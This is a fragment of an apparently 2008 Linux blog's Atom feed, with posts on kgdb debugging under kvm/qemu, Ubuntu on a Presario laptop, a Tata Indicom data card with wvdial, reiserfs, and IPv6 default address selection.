href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2131141195822717577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2131141195822717577'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/06/playing-with-scribefire.html' title='Playing With Scribefire'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-669366478672619367</id><published>2008-05-09T02:00:00.000-07:00</published><updated>2012-01-22T05:40:04.452-08:00</updated><title type='text'>Setting up kgdb using kvm/qemu</title><content type='html'>I read in the mailing list (lkml) that kgdb has been integrated into the mainline kernel. So i wanted to test it out. Those who are not familiar with kgdb read &lt;a href="http://kgdb.linsyssoft.com/"&gt;this&lt;/a&gt; . Few years before, we needed to patch the kernel under test and use 2 systems (target and debugger) to debug. This was a big problem and i never was keen on this way of debugging. These days with virtual guest os being common we can do the same stuff on a single machine between host and guest. Its rather simple.&lt;br /&gt;&lt;br /&gt;I hope this tutorial will be able to help get the setup ready and working.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Stuff Iam Using:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;kvm (kernel virtual machine) or qumu with kqemu&lt;/li&gt;&lt;li&gt;latest git kernel (2.6.25)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;fedora 8&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Please Note:&lt;/span&gt; To use kvm, you need hardware support. To check if you have hardware support&lt;br /&gt;#grep '(vmx|svm)' /proc/cpuinfo&lt;br /&gt;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx constant_tsc arch_perfmon bts pni monitor vmx est tm2 xtpr&lt;br /&gt;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx constant_tsc arch_perfmon bts pni monitor vmx est tm2 xtpr&lt;br /&gt;&lt;br /&gt;If nothing is printed then you are out of luck. You dont have hardware based virtualization.&lt;br /&gt;Dont worry mate, you can always use software based emulation (qemu, kqemu). If you are using ubuntu, its as simple as doing a 'sudo apt-get install qemu kqemu'.&lt;br /&gt;The kgdb support has been added to 2.6.25 onwards, so iam using the git tree. You can download vanilla kernel from kernel.org or if you want to test on older kernel you need to apply appropriate patch from kgdb website as stated above. I will not be explaining this as its already available in their website.&lt;br /&gt;&lt;br /&gt;The first step will be to create a new vm image (guest). There are mulitiple way to do it. There are pre built FS images available on the internet that can be downloaded. I prefer to create one on my own. I have decided to install fedora 8 as my guest os using kvm. This &lt;a href="http://www.michaeldolan.com/1030"&gt;blog&lt;/a&gt; explains how to do this. Since its pretty straightforward i shall not explain this any further. I have just put in steps i used to install.&lt;br /&gt;&lt;br /&gt;Create a 5GB iamge for my new OS&lt;br /&gt;#qemu-img create f8.img -f qcow2 5G&lt;br /&gt;&lt;br /&gt;Install the new OS (qemu users can simply replace "kvm" with "qemu" in the below command)&lt;br /&gt;#kvm  -m 512 -cdrom /home/temp/Fedora-8-i386-DVD.iso -boot d f8.img&lt;br /&gt;This will take you through the regular distro installation procedure. At this point i was faced with need to resize my image. 5GB was not enough for me. This is illustrated &lt;a href="http://qemu-forum.ipi.fi/viewtopic.php?t=846&amp;amp;highlight="&gt;here&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;Boot the new guest os&lt;br /&gt;#kvm -no-acpi -m 500 f8.img&lt;br /&gt;Done. we have a virtual OS ready.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Few Optional Steps:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;These are few optional steps needed to enable networking on guest OS. Ideally to copy some files into the guest image of fedora we need to mount it. &lt;a href="http://www.linuxquestions.org/questions/linux-software-2/mounting-a-qemu-created-root-disk-image-377212/"&gt;Here&lt;/a&gt; is the procedure for the same.&lt;span style="font-weight: bold;"&gt; &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;If the image is of the format vmdk (vmware format) then follow &lt;a href="http://www.jameslittle.me.uk/how-to-mount-vmdk-files-in-linux/"&gt;this&lt;/a&gt; .&lt;span style="font-weight: bold;"&gt; &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;I prefer using networking to copy data in and out of the vm image rather than mounting. The below steps will help you boot your guest os with network support. For this you need to install "vtun" package using apt-get. Then start it using 'sudo /etc/init.d/vtun start'&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;.&lt;br /&gt;&lt;/span&gt;Give appropriate permission. Its observed that udev alters these permission. So you need to either fix udev rules or set this permission every time.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#&lt;/span&gt;&lt;em&gt;chmod a+rw /&lt;span class="search_hit"&gt;dev&lt;/span&gt;/&lt;span class="search_hit"&gt;net&lt;/span&gt;/&lt;span class="search_hit"&gt;tun&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;The rest of the procedure is beautifully described &lt;a href="http://blog.cynapses.org/2007/07/12/qemu-kvm-internal-network-setup/"&gt;here&lt;/a&gt; . I just made few alterations to the script to make it work in my environment.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;# id of the user running qemu (kvm).Make sure you change it appropriately.&lt;br /&gt;USERID=1002&lt;br /&gt;&lt;br /&gt;# number of TUN/TAP devices to setup&lt;br /&gt;NUM_OF_DEVICES=1&lt;br /&gt;&lt;br /&gt;case $1 in&lt;br /&gt;   start)&lt;br /&gt;           modprobe tun&lt;br /&gt;           /etc/init.d/vtun start&lt;br /&gt;           chmod a+rw /dev/net/tun&lt;br /&gt;           echo -n "Setting up bridge device br0"&lt;br /&gt;           brctl addbr br0&lt;br /&gt;           ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&lt;br /&gt;           for ((i=0; i &amp;lt; NUM_OF_DEVICES ; i++)); do&lt;br /&gt;                   echo -n "Setting up "&lt;br /&gt;                   tunctl -b -u $USERID -t qtap$i&lt;br /&gt;                   brctl addif br0 qtap$i&lt;br /&gt;                   ifconfig qtap$i up 0.0.0.0 promisc&lt;br /&gt;           done&lt;br /&gt;   ;;&lt;br /&gt;   stop)&lt;br /&gt;           for ((i=0; i &amp;lt; NUM_OF_DEVICES ; i++)); do&lt;br /&gt;                   ifconfig qtap$i down&lt;br /&gt;                   brctl delif br0 qtap$i&lt;br /&gt;                   tunctl -d qtap$i&lt;br /&gt;           done&lt;br /&gt;           ifconfig br0 down&lt;br /&gt;           brctl delbr br0&lt;br /&gt;           /etc/init.d/vtun stop&lt;br /&gt;   ;;&lt;br /&gt;   *)&lt;br /&gt;           echo "Usage: $(basename $0) (start|stop)"&lt;br /&gt;   ;;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;This modified script should take care of all the problems. As a root user execute the script.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note :&lt;/span&gt;Dont forget to specify the iptables rules as given in the above howto.&lt;br /&gt;&lt;br /&gt;Now boot you guest os using:&lt;br /&gt;#kvm -no-acpi -m 500 f8.img -net nic,model=rtl8139,macaddr=52:54:00:12:34:56 -net tap,ifname=qtap0,script=no&lt;br /&gt;Once you guest it up, configure you network adapter to 192.168.1.x network.&lt;br /&gt;#ifconfig eth0 192.168.1.2/24&lt;br /&gt;#route add default gw 192.168.1.1 eth0&lt;br /&gt;ping between two system to make sure its working. Thats it.&lt;br /&gt;Download the latest kernel (&gt;= 2.6.25)  untar the file and do 'make menuconfig'&lt;br /&gt;enable kernel hacking -&gt; KGDB: kernel debugging with remote gdb and few additional kgdb options if required. Save and exit. Compile the new kernel and copy the bzImage and initrd.img to /boot of the guest os (fedora 8). Also copy the /lib/modules/2.6.25/ dir to the guest os using scp. Add a new entry in the /boot/grub/menu.lst of the guest os (fedora 8). Shown below is my menu.lst&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_yWIW9H6R1sc/SCQrNI_qLZI/AAAAAAAAACE/T5RNNkZgIk0/s1600-h/snapshot1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_yWIW9H6R1sc/SCQrNI_qLZI/AAAAAAAAACE/T5RNNkZgIk0/s400/snapshot1.png" alt="" id="BLOGGER_PHOTO_ID_5198327374645177746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The Important things to be noted is the additional arguments added to the kernel parameters.&lt;br /&gt;$console kgdbwait kgdboc=ttyS1 selinux=0. These parameters will make the booting wait for gdb remote connection.&lt;br /&gt;&lt;br /&gt;Poweroff the guest os and start again using the following options&lt;br /&gt;#kvm -no-acpi -m 500 f8.img -net nic,model=rtl8139,macaddr=52:54:00:12:34:56 -net tap,ifname=qtap0,script=no $debug_args $vga_args -serial "stdio" -serial "pty"&lt;br /&gt;At the time of booting this will give you the tty to which we are connected to. In my case&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;char device redirected to /dev/pts/5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The system boots and waits for remote connection as shown below.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_yWIW9H6R1sc/SCQuB4_qLaI/AAAAAAAAACM/6ciggqum6jU/s1600-h/snapshot2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_yWIW9H6R1sc/SCQuB4_qLaI/AAAAAAAAACM/6ciggqum6jU/s400/snapshot2.png" alt="" id="BLOGGER_PHOTO_ID_5198330479906532770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;As shown above the kernel booting stops at waiting for remote gdb.......&lt;br /&gt;Navigate to the place where you have compiled the kernel sources in your host system and you will find a file "vmlinux" in that directory.&lt;br /&gt;Do the following from a terminal in the host system&lt;br /&gt;#gdb vmlinux&lt;br /&gt;#target remote /dev/pts/5  --&gt; Note: /dev/pts/5 is specific to me. In your case you would have to change your settings as per what is displayed after executing "#kvm -no-acpi ..... "as show before.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_yWIW9H6R1sc/SCQy6o_qLbI/AAAAAAAAACU/i6ukSTVEK24/s1600-h/snapshot3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_yWIW9H6R1sc/SCQy6o_qLbI/AAAAAAAAACU/i6ukSTVEK24/s400/snapshot3.png" alt="" id="BLOGGER_PHOTO_ID_5198335852910620082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Done!!! Your are the gdb promt!!! Was'nt it easy? Happy debugging :-) .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-669366478672619367?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/669366478672619367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/05/setting-up-kgdb-using-kvmqemu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/669366478672619367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/669366478672619367'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/05/setting-up-kgdb-using-kvmqemu.html' title='Setting up kgdb using kvm/qemu'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_yWIW9H6R1sc/SCQrNI_qLZI/AAAAAAAAACE/T5RNNkZgIk0/s72-c/snapshot1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6752095560356574358</id><published>2008-05-01T23:43:00.000-07:00</published><updated>2012-01-22T05:40:04.809-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reiserfs'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>end of reiserfs?</title><content type='html'>Iam not a file system expert so i cannot comment on the standard of reiserfs, but i used it for quite sometime with opensuse. Why am i saying this......well, not sure but when i read about the murder conviction of Hans Reiser i thought its worth a mention in my blog. As i see it, reiserfs4 has been struggling to get into mainline for quite sometime. Mostly due its radical ideas which were non posix compliant , they were rejected. Now with their main developer and architect out of the picture i see this as end of the road for the revolutionary FS. Will the reiser fanboys carry on with the development of reiser4 is to be seen. Its a sad to loose a really good programmer like reiser.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6752095560356574358?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6752095560356574358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/05/end-of-reiserfs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6752095560356574358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6752095560356574358'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/05/end-of-reiserfs.html' title='end of reiserfs?'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-5793333869846791237</id><published>2008-05-01T23:09:00.000-07:00</published><updated>2012-01-22T05:40:04.911-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='compaq'/><category scheme='http://www.blogger.com/atom/ns#' term='presario'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installing Ubuntu Gutsy on Presario F500</title><content type='html'>Recently Leena got a new laptop [ Presario F500] . At its base, there is a 64-bit AMD Turion Processor and 1 GB RAM. To add to this there is a Wide Screen [15.4''] and Altec Lansing Speakers. But this is not good enough for Windows Vista [packed  by default] to run.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;/span&gt;&lt;br /&gt;Ubuntu Installs normally except certains glitches.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;1. LiveCD causes the system to hang. &lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Once you see the splash screen of Ubuntu's main menu press &lt;span style="font-weight: bold;"&gt;F6&lt;/span&gt;&lt;/li&gt;&lt;li&gt;You will get the kernel command line, append &lt;span style="font-weight: bold;"&gt;vga=792&lt;/span&gt; or&lt;span style="font-weight: bold;"&gt; vga=791 &lt;/span&gt;to that line and press Enter or b&lt;/li&gt;&lt;li&gt;Now X server should start and you will see the Ubuntu Desktop&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;The reason for this hack is probably because it has a widescreen display.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;2. Machine during boot up.&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;Post Installation, your machine will hang because of the above mentioned problem.&lt;/li&gt;&lt;li&gt;In grub edit the kernel command line and the params mentioned above.&lt;/li&gt;&lt;li&gt;This may not be enough for your system to bootup. It wasn't surely enough for me.&lt;/li&gt;&lt;li&gt;I had to remove the params  &lt;span style="font-weight: bold;"&gt;quiet&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;splash&lt;/span&gt; also.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Make these changes permanent once the system boots up by editing the &lt;span style="font-weight: bold;"&gt;/boot/grub/menu.lst&lt;/span&gt; .&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;NOTE: &lt;/span&gt;Removing &lt;span style="font-weight: bold;"&gt;quiet&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;splash&lt;/span&gt;, although necessary will not show any splash screen while the OS is booting. You will directly see to the login window&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;3. Getting Wireless/Compiz working.&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;Unfortunately Wireless doesn't work out of the box.&lt;/li&gt;&lt;li&gt;You will need the Broadcom wireless binary driver.&lt;/li&gt;&lt;li&gt;Goto Menu &lt;span style="font-weight: bold;"&gt;System&lt;/span&gt;-&gt;&lt;span style="font-weight: bold;"&gt; Administrator&lt;/span&gt; -&gt; &lt;span style="font-weight: bold;"&gt;Restricted Driver Manager&lt;/span&gt; .&lt;/li&gt;&lt;li&gt;It will say Broadcom driver&lt;span style="font-weight: bold;"&gt; not in use&lt;/span&gt;. Select the checkbox associated with it .&lt;/li&gt;&lt;li&gt;It will ask for a link from which to download firmware . You will get it&lt;a href="http://downloads.openwrt.org/sources/wl_apsta-3.130.20.0.o"&gt; here &lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Once the state changes to &lt;span style="font-weight: bold;"&gt;in use&lt;/span&gt;. You are &lt;span style="font-weight: bold;"&gt;successful&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Similarly to get Compiz working, select the NVidia Driver which is &lt;span style="font-weight: bold;"&gt;not is use.&lt;br /&gt;&lt;/span&gt;It will download the driver and again once the state changes to &lt;span style="font-weight: bold;"&gt;in use. &lt;/span&gt;You are &lt;span style="font-weight: bold;"&gt;successful.  &lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;This will need a system reboot.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-size:130%;"&gt;4. Nonfree Flash doesn't work in Firefox.&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;The &lt;span style="font-weight: bold;"&gt;non-free&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Adobe  flash player&lt;/span&gt; embedded in Firefox will surely not work although package manager will say its installed, as there is no 64bit version yet.&lt;/li&gt;&lt;li&gt;Use &lt;a href="http://www.gnu.org/software/gnash/"&gt;gnash&lt;/a&gt; [ open source/free flash player] . It works just fine.&lt;/li&gt;&lt;li&gt;People seem to crib about &lt;span style="font-weight: bold;"&gt;java plugin&lt;/span&gt; for Firefox not working on 64bit boxes, but it worked fine for me.&lt;/li&gt;&lt;li&gt;Else just a 32-bit version of Firefox(with 32-bit plugins) . I found a useful &lt;a href="http://ubuntuforums.org/showthread.php?t=202537"&gt;HOWTO&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;References:&lt;br /&gt;1. &lt;a href="http://cro.alienpants.com/index.php/2007/05/05/getting-ubuntu-running-on-my-compaq-f500/"&gt;Tom On Identity&lt;/a&gt;&lt;br /&gt;2. &lt;a href="https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Gutsy"&gt;Ubuntu's wireless Docs&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-5793333869846791237?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/5793333869846791237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/05/installing-ubuntu-gutsy-on-presario.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5793333869846791237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5793333869846791237'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/05/installing-ubuntu-gutsy-on-presario.html' title='Installing Ubuntu Gutsy on Presario F500'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-346897648199785645</id><published>2008-05-01T23:06:00.000-07:00</published><updated>2012-01-22T05:40:05.008-08:00</updated><title type='text'>Tata Indicom v-data card on Ubuntu Linux</title><content type='html'>To start using the &lt;span style="font-weight: bold;"&gt;tata indicom v-data card&lt;/span&gt; in &lt;span style="font-weight: bold;"&gt;ubuntu&lt;/span&gt;, follow these steps&lt;br /&gt;&lt;br /&gt;1.Run this command&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; $sudo modprobe usbserial vendor=0x12d1 product=0x1001&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;2. Edit the /etc/wvdial.conf and add the following lines&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;$cat /etc/wvdial.conf&lt;br /&gt;&lt;br /&gt;[Modem 0]&lt;br /&gt;Modem = /dev/ttyUSB0&lt;br /&gt;Baud = 115200&lt;br /&gt;Dial Command = ATDT&lt;br /&gt;FlowControl = Hardware (CRTSCTS)&lt;br /&gt;Init1 = ATZ&lt;br /&gt;[Dialer Defaults]&lt;br /&gt;Init1 = ATZ&lt;br /&gt;Init2 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;Modem Type = Analog Modem&lt;br /&gt;Phone = #777&lt;br /&gt;ISDN = 0&lt;br /&gt;Password = internet&lt;br /&gt;New PPPD = yes&lt;br /&gt;Username = internet&lt;br /&gt;Stupid Mode = 1&lt;br /&gt;Inherits =  Modem 0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;3. Run&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;$sudo wvdial&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;You will see your primary and secondary DNS getting set.&lt;br /&gt;Now you are set.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Note: The data card is of Huawei make.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Also for the TATA Plug2Surf USB modem to work;&lt;br /&gt;Insert you modem in and do a&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$dmesg&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;You will see some messages with /dev/ttyACM1.&lt;br /&gt;Just replace /dev/ttyUSB0 with this in the above mentioned files.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Thanks to varun for showing me this method&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-346897648199785645?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/346897648199785645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/05/tata-indicom-v-data-card-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/346897648199785645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/346897648199785645'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/05/tata-indicom-v-data-card-on-ubuntu.html' title='Tata Indicom v-data card on Ubuntu Linux'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8935992421116471283</id><published>2008-04-21T02:46:00.000-07:00</published><updated>2012-01-22T05:40:05.110-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6'/><title type='text'>Default Address Selection Part 1</title><content type='html'>If you are familiar with ipv6 then you'd be aware that default address selection is a very important concept. It was defined in &lt;a href="http://www.ietf.org/rfc/rfc3484.txt"&gt;RFC 3484&lt;/a&gt; . Due to space constraint, i have decided to split this topic into 2 parts. The first part will deal with just introduction and how to use this feature. The second part will explain the kernel/glibc internals involved in this implementation. Hope i will write the second part soon. Its advisable to read the RFC before proceeding. To give a brief idea of what default address selection is, i would like to take an example of a host having multiple ipv6 address and needing to decide which address to be used for communication. For a communication to happen there must be a source address and destination address, but the problem arises when there are multiple source and destination address to select from. IPv6 by default allows a hosts to configure multiple addresses, so there is a need for an algorithm to sort this list. We can broadly classify default address selection into 2 types:&lt;br /&gt;&lt;br /&gt;1) Default source address selection&lt;br /&gt;2) Default destination address selection&lt;br /&gt;&lt;br /&gt;Say a host A wants to communicate with another host B (can be external/internal system), it needs to know the destination ip of host B. To get the destination ip, a dns  query is sent to the configured dns server and the response is taken as destination ip. What if the dns reply has multiple ip's to the same domain name? That is when destination address selection comes into picture. Now that we "somehow" selected the destination ip, we now need to select appropriate source ip. A question that might arise is, why do we need to do that? Cant we just pick the first ip from the list of source ip's and start the communication? The answer is no. This is because IPv6 ip's can be link-local , site-local or global ip. If the destination ip is a global ip and first source ip we select from the list is a link-local ip then obviously the communication cannot happen because of scope mismatch. So we need some intelligent algorithm to select the correct source ip.&lt;br /&gt;&lt;br /&gt;Another interesting aspect in destination address selection is to decided which ip to use if the dns query returns an IPv4 as well as IPv6 address. There needs to be some factor to decide this selection. More on all this in Part 2 :-) . So, we have a situation where these addresses are selected based on a certain criteria. By default the criteria's are as per RFC. For most users this should hold good, but what if it needs to be changed? Let's say by default, IPv6 address is given more precedence than IPv4 , but the administrator wants IPv4 as higher precedence. In these cases there needs to be a way to configure source address selection and destination address selection. For this reason RFC defines User Configuration Tables for Source/Destination selection.&lt;br /&gt;Before we go into the configuration tables lets look at a basic fact. The source address selection is implemented in the kernel and destination address selection in glibc. Wonder why? The reason is very simple. Glibc implements dns query api's like gethostbyname  and family which triggers the dns query. So it is obvious that this api will get all the replies as well. It makes sense to implement the algorithm in glibc api's.&lt;br /&gt;&lt;br /&gt;Lets look at the user configuration tables for both source address selection and destination address selection. There is an interesting article from the glibc maintainer Ulrich Drepper . You can find the article &lt;a href="http://people.redhat.com/drepper/linux-rfc3484.html"&gt;here&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Basic Requirements:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- Linux Kernel 2.6.24 or higher&lt;br /&gt;- iproute2 utilities compiled for 2.6.24 (Check to see if "#ip help" supports 'addrlabel')&lt;br /&gt;Once we have the prerequisites we are good to go.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;User Configuration Table For Source Address Selection :&lt;/span&gt;&lt;br /&gt;[root@t6018ab-009124035140 ip]# ./ip addrlabel show&lt;br /&gt;prefix ::1/128 label 0&lt;br /&gt;prefix ::/96 label 3&lt;br /&gt;prefix ::ffff:0.0.0.0/96 label 4&lt;br /&gt;prefix 2001::/32 label 6&lt;br /&gt;prefix 2002::/16 label 2&lt;br /&gt;prefix fc00::/7 label 5&lt;br /&gt;prefix ::/0 label 1&lt;br /&gt;&lt;br /&gt;This is the default source address user configuration table. The "label" field is a very important aspect of the table. The prefix with lower label value is given higher preference than the one with higher. For example prefix ::1 is given the highest preference when it is prefix label matching.&lt;br /&gt;Lets say we have two prefix of same type&lt;br /&gt;prefix 2003:470:1f00:ffff::4/64 label 8&lt;br /&gt;prefix 2003:470:1f00:ffff::5/64 label 8&lt;br /&gt;Source Address Selection List:&lt;br /&gt;2003:470:1f00:ffff::4&lt;br /&gt;2003:470:1f00:ffff::5&lt;br /&gt;2003:470:1f00:ffff::6&lt;br /&gt;&lt;br /&gt;Destination Address&lt;br /&gt;2003:470:1f00:ffff::7&lt;br /&gt;&lt;br /&gt;Irrespective of the order of the source address list the ip 2003:470:1f00:ffff::6 will be selected as the correct source candidate since the other two address have a label value of 8 where as 2003:470:1f00:ffff::6 will pass on the rule "prefix ::/0 label 1". Thus the lowest label value will 